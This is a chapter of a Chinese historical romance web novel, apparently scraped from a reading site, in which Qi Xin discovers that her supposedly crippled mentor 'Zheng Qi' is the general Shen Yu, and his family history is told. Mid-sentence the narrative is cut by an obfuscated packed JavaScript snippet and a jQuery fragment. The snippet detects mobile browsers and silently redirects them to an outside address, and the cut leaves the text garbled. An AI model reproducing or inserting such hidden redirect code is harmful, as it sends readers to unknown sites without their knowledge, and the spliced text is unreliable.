默认冷灰
24号文字
方正启体

7. 沈雩

作者:檀兮源木下本书字数:K更新时间:
    那声音,亓辛熟悉得紧,然语气,却不似从前般循循善诱,竟渗出令人无法忽视的疏离之感。


    郑七——就是沈雩?


    沈雩,沈雩,沈雩……她心底不知默念了多少遍。


    那个自己起初爱答不理,而后成了自己师父,日夜相伴的人,是沈雩?


    她不由得足底一软,方才挣脱束缚的身子,又堪堪栽了下去,迫切地朝声源处望去。


    “郑七”单肩挎着巨弓,气定神闲地立在一微杂着赤色的高头大马上。他面容苍白,还是透着些许病色,然其琥珀眸色中,却再寻不出一丝慵散,而射出了她从未见过的刀芒,缀上那唇角依旧含带着的笑,竟是生出几分妖艳之气来。


    亓辛脑中嗡一下地炸开,樱唇被不可置信堪堪撑大,目不转睛地死盯着他的腿——


    他驭得了马?他不是坐着轮椅在军营里游荡?他在装残?


    有此疑问的,还有一旁已然被压制住的赫联烬,他尖叫着,那声音好似厉鬼的哀嚎:


    “你的腿不已经废掉了吗?怎么会?怎么会?啊——”


    “郑七”显然懒得理会那边的闹剧,径直朝着已是懵然的亓辛走来,在她面前,单膝跪下,与她对望一瞬,紧紧地将她颤抖的身体拥入怀中,在她耳边轻声低喃:


    “小九受苦了,师父来接你回家——”


    沈雩眉眼依旧,却好似不是她记忆中的模样。


    亓辛平日里见到的话本描述较多,但这毕竟属于民间杜撰,虚虚实实,不得全信,甚至是她自己认为可信度较高的昭文阁密辛都对其记载甚少,怪哉怪哉!


    因而她对沈雩的主要认知都源自母后元皇后。


    沈雩的生父老国公与晟德帝有着金兰之谊,也就是老国公儿时作太子伴读时与其许下的共守山河无恙的盟誓,让老国公甘愿着戎马半生。


    沈雩幼时,老国公四处征战,无暇顾家。恰逢那时元皇后还未得子嗣,沈雩又生得讨喜,元皇后便怜其无依,将其接于宫中照拂。


    沈雩年岁见长,性子愈发欢脱,元皇后恐其沾染世家子弟那般顽劣的脾性,便将其送入昭文阁修习过一段时日的诗书礼义、策论朝纲。沈雩聪颖绝代、过目不忘,深得圣心。


    老国公本也不想让自己的独子如同自己般征戎一生,过着刀口舔血的日子,便思量着,再过段时日,若沈雩真是这块读书的料,倒也可去秋闱试上一遭。大晟本就重文轻武,自己现今这般爵位,说是拿命换的,都不为过。


    幼子何辜,不必再循着自己着老路。


    然,沈雩接到父亲在边关的传信,让自己加紧温书,好在来年秋闱展露头角。


    他一不做二不休,直接将自己沉闷时作的《烽起》呈给了晟德帝,元皇后无论何时都无法忘怀,年方十二的沈雩,便已然有这般气魄:


    漠沙洗砺戍宁北,


    孤烟四起唤儿郎。


    怎叹父命今尚在,


    身安一隅掩真章。


    朝习漫卷暮观宴,


    倥偬韶华泣琼浆。


    唯愿圣听济民意,


    即赴星辰定安邦。


    此后,沈雩得到圣令,名正言顺地入了靖国军宁北大营,老国公始料未及,差点儿气厥过去。


    可毕竟,沈雩这些年安于晟都,没经历过真正的塞外生活。


    因而,老国公下令,既已入营,便再无靖国公世子沈雩,众将袍泽,皆须一视同仁。他想让沈雩尝尽军中辛楚,自请回都。


    可沈雩硬生生地皆受了下来,且在日日操练中,逐渐上居军中翘楚。


    他恃才放旷,初生牛犊不怕虎,也不大计较前因后果,倒成日于沙场之上,莽着一股劲儿,所过之处,寸草不生。


    每每凯旋回营,都少不得老国公一顿数落,说他这般定不住气、胸无城府,迟早哪日折于沙场。


    这话于数年之后,竟是一语成谶。


    然,那是在老国公故去之后了。


    而老国公的亡故,至今仍属一桩悬案。


    忆那时,正逢晟国西部的西丹国来犯,大晟皇城军主帅暴毙,全军一盘散沙、人心涣散。远在宁北驻守的靖国军又抽动不得,只好将皇城军临阵换帅。


    晟德帝谁也信不过,只得连夜飞鸽传书将老靖国公调回。毕竟,沈雩与靖国军已然磨合数年,自是熟悉,很难率陌生的军队迎未知之战,也就只有老靖国公,早年操练过皇城军一段时日,在其有新主帅上任之前,领其于南岭磨砺过一番。


    领命后,老靖国公夜以继日地率皇城军赶赴西部战场……


    不日,便传来皇城军副帅挟质子凯旋,老国公不白牺牲的消息,竟,还是尸骨无存。


    然,晟德帝并未深究,给老国公封了个忠烈的谥号,以塞悠悠众口,后接受了西丹国投诚送来的质子。


    坊间传闻,晟德帝仰仗老国公征战多年,老国公于晟内的威望与日俱增,如今四海皆平,晟德帝正好借这小国的骚乱,一石二鸟,除掉老国公,借此收编其靖国军。


    甚至还有人说,晟德帝本就与西丹王交好,此次不过一兔死狗烹的戏码。


    沈雩悲痛欲绝、难以置信,私自赶回晟都,于宫墙之下质问老国公战死的缘由,可迎来的却是晟德帝就其擅离职守的追责,而后被囚于诏狱。


    此间,元皇后于狱中几番相劝,终是令沈雩保住一命。


    沈雩万念俱灰,自言罪孽深重,无言陈情,自请驻守宁北边疆,永不归都。


    元皇后自是放心不下,时常传信于宁北。前期沈雩倒还会回信感念其儿时照拂、诏狱搭救之恩,而后,便失了音信。


    余下的,便是亓辛于昭文阁密辛中得知的,沈雩重回宁北之后,建成的宁北靖国军三大分脉的只言片语,以及降月之论发酵后,晟国万民对其的唾弃。


    以至于亓辛初见沈雩——郑七时,其大变的秉性,实在无法让她与母后记忆中信马由缰的沈雩勾连上半分。


    母后总说,是大晟皇室有愧于沈家……


    其间种种,恍若隔世。


    沈雩待亓辛的态度,早先于农户小院之中,郑八便问过,即便她是嘉陵长公主,救下就好了,何必还收留她,还教她射箭?大晟皇室如此薄情寡义,为什么他还要蹚那浑水?


    他当时只言报还元皇后恩情——兴许,初时确是这般思量。


    可这数月相处下来,沈雩却意外地发觉,亓辛居然不是养尊处优的深宫中人,也并未对于流言听之信之,倒是自有主见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360755|167990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,甚至,义无反顾地相信他。


    他心绪微漾,从多年的殚精竭虑中喘出一口气,生出一丝与她就此相伴农院的念头,自己许是孤寂了太久,现下唯愿平日里逗逗她,解解乏闷,以后之事以后再说。


    然,他可能命里带煞,连老天都见不得他过好日子,阴翳的过往挥不去,惦念的人事留不下,他还没想好怎么以真实身份面对亓辛,事情就走到了这一步。


    亓辛有些哭笑不得——


    令月国都闻风丧胆的沈大帅怎么会瘸了呢?


    自己怎么就真被囫囵诓了去?


    摆脱污名也好,追查血丸也罢,或是要干些其他什么事,沈雩他为何要这般设防,怎知自己认出他后不会为他正名呢?


    就非得在这里卧薪尝胆,看着自己为了找他同那热锅上的蚂蚁一般,他定是觉着自己高尚死了。


    如此说来,近来每每遇袭,他大抵皆是心有定数,防患于未然了。


    亓辛被堵得说不出话来,一股热意涌进了眼眶。


    这些时日,她屡入险境,血丸折磨、死里逃生,断骨抽筋,都未曾低头,可如今,与撕开“郑七”标签的沈雩重逢之时,她竟生出些想要落泪的冲动。


    沈雩跪在地上半晌,瞧着她并未理会自己,抬眼便撞见了她这般模样。


    他心底竟慌乱到生出几分无措。


    过去,任何他吃瘪的时候,他皆会立即怼回去。


    哪怕,是当初父亲无故战死,他拼上性命,也要问个明白。而后居于宁北的年岁里,他似是洞悉了一些这世间扑朔的人事,把那些,往昔他所为之不屑的心眼子,也逐一地拾了起来。


    然,他沈雩的字典里,却从未出现过“无措”二字。


    他信奉落子无悔。无论何事,既已发生,与其白白忏悔,不如趁早想出解决之法。身于淤泥,却持守着清白的本心,已是不易,何须无端添及冗余的杂思。


    可他不知,世上还有这样一类人,他们即使久困于幽冥,将自己伪装成阴冷的厉鬼,却难抑心底之共鸣,亲善之善,仇恶之恶,唯凭萤火微芒,澄混沌于曙光。


    或许,连亓辛也不知,她自己便是那样的人。


    沈雩直起上半身,瞥见了亓辛在郑八来之前,被刺客掐到命悬一线的勒痕。他颤抖着将手探向她脖颈间的瘀伤之处,那斑驳的青紫刺得他双目一痛。


    他在众目睽睽之下,用拇指轻轻蹭了增她那里的肌肤,低声道:“很疼吗?”


    亓辛反应过来,一把扯掉他虚垂在自己颈间的手,从贝齿间生硬地挤出几个字:


    “不劳靖国公挂心。”


    她言罢,还死死地瞪着沈雩,似是要将他脑门盯出一个窟窿来,看看里面到底装了些什么。


    沈雩兴怏怏地起身,暗自自嘲:


    得,小丫头脾气又上来了,这一时半会儿恐是又哄不好了。


    随即,他转身,大步流星地冲着赫联烬去了。自己这一腔怒怨,总得寻个下家撒出来才对。


    赫联烬瞅见他靠近,疯狗一般的乱嚷,试图挣脱束缚。


    沈雩斜睨了他一眼,居高临下地开口:“六王子这些年来,怎么还是毫无半分长进呢,也难怪你二哥这太子之位坐得这般安稳。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)